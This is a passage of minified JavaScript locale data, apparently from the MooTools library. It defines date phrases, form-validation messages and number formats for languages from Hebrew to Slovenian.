שנים",lessThanMinuteUntil:"בעוד פחות מדקה",minuteUntil:"בעוד כדקה",minutesUntil:"בעוד {delta} דקות",hourUntil:"בעוד כשעה",hoursUntil:"בעוד {delta} שעות",dayUntil:"בעוד יום",daysUntil:"בעוד {delta} ימים",weekUntil:"בעוד שבוע",weeksUntil:"בעוד {delta} שבועות",monthUntil:"בעוד חודש",monthsUntil:"בעוד {delta} חודשים",yearUntil:"בעוד שנה",yearsUntil:"בעוד {delta} שנים"});
Locale.define("he-IL","FormValidator",{required:"נא למלא שדה זה.",minLength:"נא להזין לפחות {minLength} תווים (הזנת {length} תווים).",maxLength:"נא להזין עד {maxLength} תווים (הזנת {length} תווים).",integer:"נא להזין מספר שלם לשדה זה. מספרים עשרוניים (כמו 1.25) אינם חוקיים.",numeric:'נא להזין ערך מספרי בלבד בשדה זה (כמו "1", "1.1", "-1" או "-1.1").',digits:"נא להזין רק ספרות וסימני הפרדה בשדה זה (למשל, מספר טלפון עם מקפים או נקודות הוא חוקי).",alpha:"נא להזין רק אותיות באנגלית (a-z) בשדה זה. רווחים או תווים אחרים אינם חוקיים.",alphanum:"נא להזין רק אותריות באנגלית (a-z) או ספרות (0-9) בשדה זה. אווחרים או תווים אחרים אינם חוקיים.",dateSuchAs:"נא להזין תאריך חוקי, כמו {date}",dateInFormatMDY:'נא להזין תאריך חוקי בפורמט MM/DD/YYYY (כמו "12/31/1999")',email:'נא להזין כתובת אימייל חוקית. לדוגמה: "fred@domain.com".',url:"נא להזין כתובת אתר חוקית, כמו http://www.example.com.",currencyDollar:"נא להזין סכום דולרי חוקי. לדוגמה $100.00.",oneRequired:"נא לבחור לפחות בשדה אחד.",errorPrefix:"שגיאה: ",warningPrefix:"אזהרה: ",noSpace:"אין להזין רווחים בשדה זה.",reqChkByNode:"נא לבחור אחת מהאפשרויות.",requiredChk:"שדה זה נדרש.",reqChkByName:"נא לבחור {label}.",match:"שדה זה צריך להתאים לשדה {matchName}",startDate:"תאריך ההתחלה",endDate:"תאריך הסיום",currendDate:"התאריך הנוכחי",afterDate:"התאריך צריך להיות זהה או אחרי {label}.",beforeDate:"התאריך צריך להיות זהה או לפני {label}.",startMonth:"נא לבחור חודש התחלה",sameMonth:"שני תאריכים אלה צריכים להיות באותו חודש - נא לשנות אחד התאריכים.",creditcard:"מספר כרטיס האשראי שהוזן אינו חוקי. נא לבדוק שנית. הוזנו {length} ספרות."});
Locale.define("he-IL","Number",{decimal:".",group:",",currency:{suffix:" ₪"}});Locale.define("hu-HU","Date",{months:["Január","Február","Március","Április","Május","Június","Július","Augusztus","Szeptember","Október","November","December"],months_abbr:["jan.","febr.","márc.","ápr.","máj.","jún.","júl.","aug.","szept.","okt.","nov.","dec."],days:["Vasárnap","Hétfő","Kedd","Szerda","Csütörtök","Péntek","Szombat"],days_abbr:["V","H","K","Sze","Cs","P","Szo"],dateOrder:["year","month","date"],shortDate:"%Y.%m.%d.",shortTime:"%I:%M",AM:"de.",PM:"du.",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"alig egy perce",minuteAgo:"egy perce",minutesAgo:"{delta} perce",hourAgo:"egy órája",hoursAgo:"{delta} órája",dayAgo:"1 napja",daysAgo:"{delta} napja",weekAgo:"1 hete",weeksAgo:"{delta} hete",monthAgo:"1 hónapja",monthsAgo:"{delta} hónapja",yearAgo:"1 éve",yearsAgo:"{delta} éve",lessThanMinuteUntil:"alig egy perc múlva",minuteUntil:"egy perc múlva",minutesUntil:"{delta} perc múlva",hourUntil:"egy óra múlva",hoursUntil:"{delta} óra múlva",dayUntil:"1 nap múlva",daysUntil:"{delta} nap múlva",weekUntil:"1 hét múlva",weeksUntil:"{delta} hét múlva",monthUntil:"1 hónap múlva",monthsUntil:"{delta} hónap múlva",yearUntil:"1 év múlva",yearsUntil:"{delta} év múlva"});
Locale.define("hu-HU","FormValidator",{required:"A mező kitöltése kötelező.",minLength:"Legalább {minLength} karakter megadása szükséges (megadva {length} karakter).",maxLength:"Legfeljebb {maxLength} karakter megadása lehetséges (megadva {length} karakter).",integer:"Egész szám megadása szükséges. A tizedesjegyek (pl. 1.25) nem engedélyezettek.",numeric:'Szám megadása szükséges (pl. "1" vagy "1.1" vagy "-1" vagy "-1.1").',digits:"Csak számok és írásjelek megadása lehetséges (pl. telefonszám kötőjelek és/vagy perjelekkel).",alpha:"Csak betűk (a-z) megadása lehetséges. Szóköz és egyéb karakterek nem engedélyezettek.",alphanum:"Csak betűk (a-z) vagy számok (0-9) megadása lehetséges. Szóköz és egyéb karakterek nem engedélyezettek.",dateSuchAs:"Valós dátum megadása szükséges (pl. {date}).",dateInFormatMDY:'Valós dátum megadása szükséges ÉÉÉÉ.HH.NN. formában. (pl. "1999.12.31.")',email:'Valós e-mail cím megadása szükséges (pl. "fred@domain.hu").',url:"Valós URL megadása szükséges (pl. http://www.example.com).",currencyDollar:"Valós pénzösszeg megadása szükséges (pl. 100.00 Ft.).",oneRequired:"Az alábbi mezők legalább egyikének kitöltése kötelező.",errorPrefix:"Hiba: ",warningPrefix:"Figyelem: ",noSpace:"A mező nem tartalmazhat szóközöket.",reqChkByNode:"Nincs egyetlen kijelölt elem sem.",requiredChk:"A mező kitöltése kötelező.",reqChkByName:"Egy {label} kiválasztása szükséges.",match:"A mezőnek egyeznie kell a(z) {matchName} mezővel.",startDate:"a kezdet dátuma",endDate:"a vég dátuma",currendDate:"jelenlegi dátum",afterDate:"A dátum nem lehet kisebb, mint {label}.",beforeDate:"A dátum nem lehet nagyobb, mint {label}.",startMonth:"Kezdeti hónap megadása szükséges.",sameMonth:"A két dátumnak ugyanazon hónapban kell lennie.",creditcard:"A megadott bankkártyaszám nem valódi (megadva {length} számjegy)."});
Locale.define("it-IT","Date",{months:["Gennaio","Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre"],months_abbr:["gen","feb","mar","apr","mag","giu","lug","ago","set","ott","nov","dic"],days:["Domenica","Lunedì","Martedì","Mercoledì","Giovedì","Venerdì","Sabato"],days_abbr:["dom","lun","mar","mer","gio","ven","sab"],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H.%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"º",lessThanMinuteAgo:"meno di un minuto fa",minuteAgo:"circa un minuto fa",minutesAgo:"circa {delta} minuti fa",hourAgo:"circa un'ora fa",hoursAgo:"circa {delta} ore fa",dayAgo:"circa 1 giorno fa",daysAgo:"circa {delta} giorni fa",weekAgo:"una settimana fa",weeksAgo:"{delta} settimane fa",monthAgo:"un mese fa",monthsAgo:"{delta} mesi fa",yearAgo:"un anno fa",yearsAgo:"{delta} anni fa",lessThanMinuteUntil:"tra meno di un minuto",minuteUntil:"tra circa un minuto",minutesUntil:"tra circa {delta} minuti",hourUntil:"tra circa un'ora",hoursUntil:"tra circa {delta} ore",dayUntil:"tra circa un giorno",daysUntil:"tra circa {delta} giorni",weekUntil:"tra una settimana",weeksUntil:"tra {delta} settimane",monthUntil:"tra un mese",monthsUntil:"tra {delta} mesi",yearUntil:"tra un anno",yearsUntil:"tra {delta} anni"});
Locale.define("it-IT","FormValidator",{required:"Il campo &egrave; obbligatorio.",minLength:"Inserire almeno {minLength} caratteri (ne sono stati inseriti {length}).",maxLength:"Inserire al massimo {maxLength} caratteri (ne sono stati inseriti {length}).",integer:"Inserire un numero intero. Non sono consentiti decimali (es.: 1.25).",numeric:'Inserire solo valori numerici (es.: "1" oppure "1.1" oppure "-1" oppure "-1.1").',digits:"Inserire solo numeri e caratteri di punteggiatura. Per esempio &egrave; consentito un numero telefonico con trattini o punti.",alpha:"Inserire solo lettere (a-z). Non sono consentiti spazi o altri caratteri.",alphanum:"Inserire solo lettere (a-z) o numeri (0-9). Non sono consentiti spazi o altri caratteri.",dateSuchAs:"Inserire una data valida del tipo {date}",dateInFormatMDY:'Inserire una data valida nel formato MM/GG/AAAA (es.: "12/31/1999")',email:'Inserire un indirizzo email valido. Per esempio "nome@dominio.com".',url:'Inserire un indirizzo valido. Per esempio "http://www.example.com".',currencyDollar:'Inserire un importo valido. Per esempio "$100.00".',oneRequired:"Completare almeno uno dei campi richiesti.",errorPrefix:"Errore: ",warningPrefix:"Attenzione: ",noSpace:"Non sono consentiti spazi.",reqChkByNode:"Nessuna voce selezionata.",requiredChk:"Il campo &egrave; obbligatorio.",reqChkByName:"Selezionare un(a) {label}.",match:"Il valore deve corrispondere al campo {matchName}",startDate:"data d'inizio",endDate:"data di fine",currendDate:"data attuale",afterDate:"La data deve corrispondere o essere successiva al {label}.",beforeDate:"La data deve corrispondere o essere precedente al {label}.",startMonth:"Selezionare un mese d'inizio",sameMonth:"Le due date devono essere dello stesso mese - occorre modificarne una."});
Locale.define("ja-JP","Date",{months:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"],months_abbr:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"],days:["日曜日","月曜日","火曜日","水曜日","木曜日","金曜日","土曜日"],days_abbr:["日","月","火","水","木","金","土"],dateOrder:["year","month","date"],shortDate:"%Y/%m/%d",shortTime:"%H:%M",AM:"午前",PM:"午後",firstDayOfWeek:0,ordinal:"",lessThanMinuteAgo:"1分以内前",minuteAgo:"約1分前",minutesAgo:"約{delta}分前",hourAgo:"約1時間前",hoursAgo:"約{delta}時間前",dayAgo:"1日前",daysAgo:"{delta}日前",weekAgo:"1週間前",weeksAgo:"{delta}週間前",monthAgo:"1ヶ月前",monthsAgo:"{delta}ヶ月前",yearAgo:"1年前",yearsAgo:"{delta}年前",lessThanMinuteUntil:"今から約1分以内",minuteUntil:"今から約1分",minutesUntil:"今から約{delta}分",hourUntil:"今から約1時間",hoursUntil:"今から約{delta}時間",dayUntil:"今から1日間",daysUntil:"今から{delta}日間",weekUntil:"今から1週間",weeksUntil:"今から{delta}週間",monthUntil:"今から1ヶ月",monthsUntil:"今から{delta}ヶ月",yearUntil:"今から1年",yearsUntil:"今から{delta}年"});
Locale.define("ja-JP","FormValidator",{required:"入力は必須です。",minLength:"入力文字数は{minLength}以上にしてください。({length}文字)",maxLength:"入力文字数は{maxLength}以下にしてください。({length}文字)",integer:"整数を入力してください。",numeric:'入力できるのは数値だけです。(例: "1", "1.1", "-1", "-1.1"....)',digits:"入力できるのは数値と句読記号です。 (例: -や+を含む電話番号など).",alpha:"入力できるのは半角英字だけです。それ以外の文字は入力できません。",alphanum:"入力できるのは半角英数字だけです。それ以外の文字は入力できません。",dateSuchAs:"有効な日付を入力してください。{date}",dateInFormatMDY:'日付の書式に誤りがあります。YYYY/MM/DD (i.e. "1999/12/31")',email:"メールアドレスに誤りがあります。",url:"URLアドレスに誤りがあります。",currencyDollar:"金額に誤りがあります。",oneRequired:"ひとつ以上入力してください。",errorPrefix:"エラー: ",warningPrefix:"警告: ",noSpace:"スペースは入力できません。",reqChkByNode:"選択されていません。",requiredChk:"この項目は必須です。",reqChkByName:"{label}を選択してください。",match:"{matchName}が入力されている場合必須です。",startDate:"開始日",endDate:"終了日",currendDate:"今日",afterDate:"{label}以降の日付にしてください。",beforeDate:"{label}以前の日付にしてください。",startMonth:"開始月を選択してください。",sameMonth:"日付が同一です。どちらかを変更してください。"});
Locale.define("ja-JP","Number",{decimal:".",group:",",currency:{decimals:0,prefix:"\\"}});Locale.define("nl-NL","Date",{months:["januari","februari","maart","april","mei","juni","juli","augustus","september","oktober","november","december"],months_abbr:["jan","feb","mrt","apr","mei","jun","jul","aug","sep","okt","nov","dec"],days:["zondag","maandag","dinsdag","woensdag","donderdag","vrijdag","zaterdag"],days_abbr:["zo","ma","di","wo","do","vr","za"],dateOrder:["date","month","year"],shortDate:"%d-%m-%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"e",lessThanMinuteAgo:"minder dan een minuut geleden",minuteAgo:"ongeveer een minuut geleden",minutesAgo:"{delta} minuten geleden",hourAgo:"ongeveer een uur geleden",hoursAgo:"ongeveer {delta} uur geleden",dayAgo:"een dag geleden",daysAgo:"{delta} dagen geleden",weekAgo:"een week geleden",weeksAgo:"{delta} weken geleden",monthAgo:"een maand geleden",monthsAgo:"{delta} maanden geleden",yearAgo:"een jaar geleden",yearsAgo:"{delta} jaar geleden",lessThanMinuteUntil:"over minder dan een minuut",minuteUntil:"over ongeveer een minuut",minutesUntil:"over {delta} minuten",hourUntil:"over ongeveer een uur",hoursUntil:"over {delta} uur",dayUntil:"over ongeveer een dag",daysUntil:"over {delta} dagen",weekUntil:"over een week",weeksUntil:"over {delta} weken",monthUntil:"over een maand",monthsUntil:"over {delta} maanden",yearUntil:"over een jaar",yearsUntil:"over {delta} jaar"});
Locale.define("nl-NL","FormValidator",{required:"Dit veld is verplicht.",length:"Vul precies {length} karakters in (je hebt {elLength} karakters ingevoerd).",minLength:"Vul minimaal {minLength} karakters in (je hebt {length} karakters ingevoerd).",maxLength:"Vul niet meer dan {maxLength} karakters in (je hebt {length} karakters ingevoerd).",integer:"Vul een getal in. Getallen met decimalen (bijvoorbeeld 1.25) zijn niet toegestaan.",numeric:'Vul alleen numerieke waarden in (bijvoorbeeld "1" of "1.1" of "-1" of "-1.1").',digits:"Vul alleen nummers en leestekens in (bijvoorbeeld een telefoonnummer met streepjes is toegestaan).",alpha:"Vul alleen letters in (a-z). Spaties en andere karakters zijn niet toegestaan.",alphanum:"Vul alleen letters (a-z) of nummers (0-9) in. Spaties en andere karakters zijn niet toegestaan.",dateSuchAs:"Vul een geldige datum in, zoals {date}",dateInFormatMDY:'Vul een geldige datum, in het formaat MM/DD/YYYY (bijvoorbeeld "12/31/1999")',email:'Vul een geldig e-mailadres in. Bijvoorbeeld "fred@domein.nl".',url:"Vul een geldige URL in, zoals http://www.example.com.",currencyDollar:"Vul een geldig $ bedrag in. Bijvoorbeeld $100.00 .",oneRequired:"Vul iets in bij in ieder geval een van deze velden.",warningPrefix:"Waarschuwing: ",errorPrefix:"Fout: ",noSpace:"Spaties zijn niet toegestaan in dit veld.",reqChkByNode:"Er zijn geen items geselecteerd.",requiredChk:"Dit veld is verplicht.",reqChkByName:"Selecteer een {label}.",match:"Dit veld moet overeen komen met het {matchName} veld",startDate:"de begin datum",endDate:"de eind datum",currendDate:"de huidige datum",afterDate:"De datum moet hetzelfde of na {label} zijn.",beforeDate:"De datum moet hetzelfde of voor {label} zijn.",startMonth:"Selecteer een begin maand",sameMonth:"Deze twee data moeten in dezelfde maand zijn - u moet een van beide aanpassen.",creditcard:"Het ingevulde creditcardnummer is niet geldig. Controleer het nummer en probeer opnieuw. {length} getallen ingevuld."});
Locale.define("nl-NL").inherit("EU","Number");Locale.define("no-NO","Date",{dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,lessThanMinuteAgo:"kortere enn et minutt siden",minuteAgo:"omtrent et minutt siden",minutesAgo:"{delta} minutter siden",hourAgo:"omtrent en time siden",hoursAgo:"omtrent {delta} timer siden",dayAgo:"{delta} dag siden",daysAgo:"{delta} dager siden"});
Locale.define("no-NO","FormValidator",{required:"Dette feltet er påkrevd.",minLength:"Vennligst skriv inn minst {minLength} tegn (du skrev {length} tegn).",maxLength:"Vennligst skriv inn maksimalt {maxLength} tegn (du skrev {length} tegn).",integer:"Vennligst skriv inn et tall i dette feltet. Tall med desimaler (for eksempel 1,25) er ikke tillat.",numeric:'Vennligst skriv inn kun numeriske verdier i dette feltet (for eksempel "1", "1.1", "-1" eller "-1.1").',digits:"Vennligst bruk kun nummer og skilletegn i dette feltet.",alpha:"Vennligst bruk kun bokstaver (a-z) i dette feltet. Ingen mellomrom eller andre tegn er tillat.",alphanum:"Vennligst bruk kun bokstaver (a-z) eller nummer (0-9) i dette feltet. Ingen mellomrom eller andre tegn er tillat.",dateSuchAs:"Vennligst skriv inn en gyldig dato, som {date}",dateInFormatMDY:'Vennligst skriv inn en gyldig dato, i formatet MM/DD/YYYY (for eksempel "12/31/1999")',email:'Vennligst skriv inn en gyldig epost-adresse. For eksempel "espen@domene.no".',url:"Vennligst skriv inn en gyldig URL, for eksempel http://www.example.com.",currencyDollar:"Vennligst fyll ut et gyldig $ beløp. For eksempel $100.00 .",oneRequired:"Vennligst fyll ut noe i minst ett av disse feltene.",errorPrefix:"Feil: ",warningPrefix:"Advarsel: "});
Locale.define("pl-PL","Date",{months:["Styczeń","Luty","Marzec","Kwiecień","Maj","Czerwiec","Lipiec","Sierpień","Wrzesień","Październik","Listopad","Grudzień"],months_abbr:["sty","lut","mar","kwi","maj","cze","lip","sie","wrz","paź","lis","gru"],days:["Niedziela","Poniedziałek","Wtorek","Środa","Czwartek","Piątek","Sobota"],days_abbr:["niedz.","pon.","wt.","śr.","czw.","pt.","sob."],dateOrder:["year","month","date"],shortDate:"%Y-%m-%d",shortTime:"%H:%M",AM:"nad ranem",PM:"po południu",firstDayOfWeek:1,ordinal:function(a){return(a>3&&a<21)?"ty":["ty","szy","gi","ci","ty"][Math.min(a%10,4)];
},lessThanMinuteAgo:"mniej niż minute temu",minuteAgo:"około minutę temu",minutesAgo:"{delta} minut temu",hourAgo:"około godzinę temu",hoursAgo:"około {delta} godzin temu",dayAgo:"Wczoraj",daysAgo:"{delta} dni temu",lessThanMinuteUntil:"za niecałą minutę",minuteUntil:"za około minutę",minutesUntil:"za {delta} minut",hourUntil:"za około godzinę",hoursUntil:"za około {delta} godzin",dayUntil:"za 1 dzień",daysUntil:"za {delta} dni"});
Locale.define("pl-PL","FormValidator",{required:"To pole jest wymagane.",minLength:"Wymagane jest przynajmniej {minLength} znaków (wpisanych zostało tylko {length}).",maxLength:"Dozwolone jest nie więcej niż {maxLength} znaków (wpisanych zostało {length})",integer:"To pole wymaga liczb całych. Liczby dziesiętne (np. 1.25) są niedozwolone.",numeric:'Prosimy używać tylko numerycznych wartości w tym polu (np. "1", "1.1", "-1" lub "-1.1").',digits:"Prosimy używać liczb oraz zankow punktuacyjnych w typ polu (dla przykładu, przy numerze telefonu myślniki i kropki są dozwolone).",alpha:"Prosimy używać tylko liter (a-z) w tym polu. Spacje oraz inne znaki są niedozwolone.",alphanum:"Prosimy używać tylko liter (a-z) lub liczb (0-9) w tym polu. Spacje oraz inne znaki są niedozwolone.",dateSuchAs:"Prosimy podać prawidłową datę w formacie: {date}",dateInFormatMDY:'Prosimy podać poprawną date w formacie DD.MM.RRRR (i.e. "12.01.2009")',email:'Prosimy podać prawidłowy adres e-mail, np. "jan@domena.pl".',url:"Prosimy podać prawidłowy adres URL, np. http://www.example.com.",currencyDollar:"Prosimy podać prawidłową sumę w PLN. Dla przykładu: 100.00 PLN.",oneRequired:"Prosimy wypełnić chociaż jedno z pól.",errorPrefix:"Błąd: ",warningPrefix:"Uwaga: ",noSpace:"W tym polu nie mogą znajdować się spacje.",reqChkByNode:"Brak zaznaczonych elementów.",requiredChk:"To pole jest wymagane.",reqChkByName:"Prosimy wybrać z {label}.",match:"To pole musi być takie samo jak {matchName}",startDate:"data początkowa",endDate:"data końcowa",currendDate:"aktualna data",afterDate:"Podana data poinna być taka sama lub po {label}.",beforeDate:"Podana data poinna być taka sama lub przed {label}.",startMonth:"Prosimy wybrać początkowy miesiąc.",sameMonth:"Te dwie daty muszą być w zakresie tego samego miesiąca - wymagana jest zmiana któregoś z pól."});
Locale.define("pt-PT","Date",{months:["Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],months_abbr:["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez"],days:["Domingo","Segunda-feira","Terça-feira","Quarta-feira","Quinta-feira","Sexta-feira","Sábado"],days_abbr:["Dom","Seg","Ter","Qua","Qui","Sex","Sáb"],dateOrder:["date","month","year"],shortDate:"%d-%m-%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"º",lessThanMinuteAgo:"há menos de um minuto",minuteAgo:"há cerca de um minuto",minutesAgo:"há {delta} minutos",hourAgo:"há cerca de uma hora",hoursAgo:"há cerca de {delta} horas",dayAgo:"há um dia",daysAgo:"há {delta} dias",weekAgo:"há uma semana",weeksAgo:"há {delta} semanas",monthAgo:"há um mês",monthsAgo:"há {delta} meses",yearAgo:"há um ano",yearsAgo:"há {delta} anos",lessThanMinuteUntil:"em menos de um minuto",minuteUntil:"em um minuto",minutesUntil:"em {delta} minutos",hourUntil:"em uma hora",hoursUntil:"em {delta} horas",dayUntil:"em um dia",daysUntil:"em {delta} dias",weekUntil:"em uma semana",weeksUntil:"em {delta} semanas",monthUntil:"em um mês",monthsUntil:"em {delta} meses",yearUntil:"em um ano",yearsUntil:"em {delta} anos"});
Locale.define("pt-BR","Date",{shortDate:"%d/%m/%Y"}).inherit("pt-PT","Date");Locale.define("pt-BR","FormValidator",{required:"Este campo é obrigatório.",minLength:"Digite pelo menos {minLength} caracteres (tamanho atual: {length}).",maxLength:"Não digite mais de {maxLength} caracteres (tamanho atual: {length}).",integer:"Por favor digite apenas um número inteiro neste campo. Não são permitidos números decimais (por exemplo, 1,25).",numeric:'Por favor digite apenas valores numéricos neste campo (por exemplo, "1" ou "1.1" ou "-1" ou "-1,1").',digits:"Por favor use apenas números e pontuação neste campo (por exemplo, um número de telefone com traços ou pontos é permitido).",alpha:"Por favor use somente letras (a-z). Espaço e outros caracteres não são permitidos.",alphanum:"Use somente letras (a-z) ou números (0-9) neste campo. Espaço e outros caracteres não são permitidos.",dateSuchAs:"Digite uma data válida, como {date}",dateInFormatMDY:'Digite uma data válida, como DD/MM/YYYY (por exemplo, "31/12/1999")',email:'Digite um endereço de email válido. Por exemplo "nome@dominio.com".',url:"Digite uma URL válida. Exemplo: http://www.example.com.",currencyDollar:"Digite um valor em dinheiro válido. Exemplo: R$100,00 .",oneRequired:"Digite algo para pelo menos um desses campos.",errorPrefix:"Erro: ",warningPrefix:"Aviso: ",noSpace:"Não é possível digitar espaços neste campo.",reqChkByNode:"Não foi selecionado nenhum item.",requiredChk:"Este campo é obrigatório.",reqChkByName:"Por favor digite um {label}.",match:"Este campo deve ser igual ao campo {matchName}.",startDate:"a data inicial",endDate:"a data final",currendDate:"a data atual",afterDate:"A data deve ser igual ou posterior a {label}.",beforeDate:"A data deve ser igual ou anterior a {label}.",startMonth:"Por favor selecione uma data inicial.",sameMonth:"Estas duas datas devem ter o mesmo mês - você deve modificar uma das duas.",creditcard:"O número do cartão de crédito informado é inválido. Por favor verifique o valor e tente novamente. {length} números informados."});
Locale.define("pt-PT","FormValidator",{required:"Este campo é necessário.",minLength:"Digite pelo menos{minLength} caracteres (comprimento {length} caracteres).",maxLength:"Não insira mais de {maxLength} caracteres (comprimento {length} caracteres).",integer:"Digite um número inteiro neste domínio. Com números decimais (por exemplo, 1,25), não são permitidas.",numeric:'Digite apenas valores numéricos neste domínio (p.ex., "1" ou "1.1" ou "-1" ou "-1,1").',digits:"Por favor, use números e pontuação apenas neste campo (p.ex., um número de telefone com traços ou pontos é permitida).",alpha:"Por favor use somente letras (a-z), com nesta área. Não utilize espaços nem outros caracteres são permitidos.",alphanum:"Use somente letras (a-z) ou números (0-9) neste campo. Não utilize espaços nem outros caracteres são permitidos.",dateSuchAs:"Digite uma data válida, como {date}",dateInFormatMDY:'Digite uma data válida, como DD/MM/YYYY (p.ex. "31/12/1999")',email:'Digite um endereço de email válido. Por exemplo "fred@domain.com".',url:"Digite uma URL válida, como http://www.example.com.",currencyDollar:"Digite um valor válido $. Por exemplo $ 100,00. ",oneRequired:"Digite algo para pelo menos um desses insumos.",errorPrefix:"Erro: ",warningPrefix:"Aviso: "});
(function(){var a=function(h,e,d,g,b){var c=h%10,f=h%100;if(c==1&&f!=11){return e;}else{if((c==2||c==3||c==4)&&!(f==12||f==13||f==14)){return d;}else{if(c==0||(c==5||c==6||c==7||c==8||c==9)||(f==11||f==12||f==13||f==14)){return g;
}else{return b;}}}};Locale.define("ru-RU","Date",{months:["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],months_abbr:["янв","февр","март","апр","май","июнь","июль","авг","сент","окт","нояб","дек"],days:["Воскресенье","Понедельник","Вторник","Среда","Четверг","Пятница","Суббота"],days_abbr:["Вс","Пн","Вт","Ср","Чт","Пт","Сб"],dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"меньше минуты назад",minuteAgo:"минуту назад",minutesAgo:function(b){return"{delta} "+a(b,"минуту","минуты","минут")+" назад";
},hourAgo:"час назад",hoursAgo:function(b){return"{delta} "+a(b,"час","часа","часов")+" назад";},dayAgo:"вчера",daysAgo:function(b){return"{delta} "+a(b,"день","дня","дней")+" назад";
},weekAgo:"неделю назад",weeksAgo:function(b){return"{delta} "+a(b,"неделя","недели","недель")+" назад";},monthAgo:"месяц назад",monthsAgo:function(b){return"{delta} "+a(b,"месяц","месяца","месецев")+" назад";
},yearAgo:"год назад",yearsAgo:function(b){return"{delta} "+a(b,"год","года","лет")+" назад";},lessThanMinuteUntil:"меньше чем через минуту",minuteUntil:"через минуту",minutesUntil:function(b){return"через {delta} "+a(b,"час","часа","часов")+"";
},hourUntil:"через час",hoursUntil:function(b){return"через {delta} "+a(b,"час","часа","часов")+"";},dayUntil:"завтра",daysUntil:function(b){return"через {delta} "+a(b,"день","дня","дней")+"";
},weekUntil:"через неделю",weeksUntil:function(b){return"через {delta} "+a(b,"неделю","недели","недель")+"";},monthUntil:"через месяц",monthsUntil:function(b){return"через {delta} "+a(b,"месяц","месяца","месецев")+"";
},yearUntil:"через",yearsUntil:function(b){return"через {delta} "+a(b,"год","года","лет")+"";}});})();Locale.define("ru-RU","FormValidator",{required:"Это поле обязательно к заполнению.",minLength:"Пожалуйста, введите хотя бы {minLength} символов (Вы ввели {length}).",maxLength:"Пожалуйста, введите не больше {maxLength} символов (Вы ввели {length}).",integer:"Пожалуйста, введите в это поле число. Дробные числа (например 1.25) тут не разрешены.",numeric:'Пожалуйста, введите в это поле число (например "1" или "1.1", или "-1", или "-1.1").',digits:"В этом поле Вы можете использовать только цифры и знаки пунктуации (например, телефонный номер со знаками дефиса или с точками).",alpha:"В этом поле можно использовать только латинские буквы (a-z). Пробелы и другие символы запрещены.",alphanum:"В этом поле можно использовать только латинские буквы (a-z) и цифры (0-9). Пробелы и другие символы запрещены.",dateSuchAs:"Пожалуйста, введите корректную дату {date}",dateInFormatMDY:'Пожалуйста, введите дату в формате ММ/ДД/ГГГГ (например "12/31/1999")',email:'Пожалуйста, введите корректный емейл-адрес. Для примера "fred@domain.com".',url:"Пожалуйста, введите правильную ссылку вида http://www.example.com.",currencyDollar:"Пожалуйста, введите сумму в долларах. Например: $100.00 .",oneRequired:"Пожалуйста, выберите хоть что-нибудь в одном из этих полей.",errorPrefix:"Ошибка: ",warningPrefix:"Внимание: "});
(function(){var a=function(f,d,c,e,b){return(f>=1&&f<=3)?arguments[f]:b;};Locale.define("si-SI","Date",{months:["januar","februar","marec","april","maj","junij","julij","avgust","september","oktober","november","december"],months_abbr:["jan","feb","mar","apr","maj","jun","jul","avg","sep","okt","nov","dec"],days:["nedelja","ponedeljek","torek","sreda","četrtek","petek","sobota"],days_abbr:["ned","pon","tor","sre","čet","pet","sob"],dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H.%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"manj kot minuto nazaj",minuteAgo:"minuto nazaj",minutesAgo:function(b){return"{delta} "+a(b,"minuto","minuti","minute","minut")+" nazaj";
},hourAgo:"uro nazaj",hoursAgo:function(b){return"{delta} "+a(b,"uro","uri","ure","ur")+" nazaj";},dayAgo:"dan nazaj",daysAgo:function(b){return"{delta} "+a(b,"dan","dneva","dni","dni")+" nazaj";
},weekAgo:"teden nazaj",weeksAgo:function(b){return"{delta} "+a(b,"teden","tedna","tedne","tednov")+" nazaj";},monthAgo:"mesec nazaj",monthsAgo:function(b){return"{delta} "+a(b,"mesec","meseca","mesece","mesecov")+" nazaj";
},yearthAgo:"leto nazaj",yearsAgo:function(b){return"{delta} "+a(b,"leto","leti","leta","let")+" nazaj";},lessThanMinuteUntil:"še manj kot minuto",minuteUntil:"še minuta",minutesUntil:function(b){return"še {delta} "+a(b,"minuta","minuti","minute","minut");
},hourUntil:"še ura",hoursUntil:function(b){return"še {delta} "+a(b,"ura","uri","ure","ur");},dayUntil:"še dan",daysUntil:function(b){return"še {delta} "+a(b,"dan","dneva","dnevi","dni");
},weekUntil:"še tedn",weeksUntil:function(b){return"še {delta} "+a(b,"teden","tedna","tedni","tednov");},monthUntil:"še mesec",monthsUntil:function(b){return"še {delta} "+a(b,"mesec","meseca","meseci","mesecov");
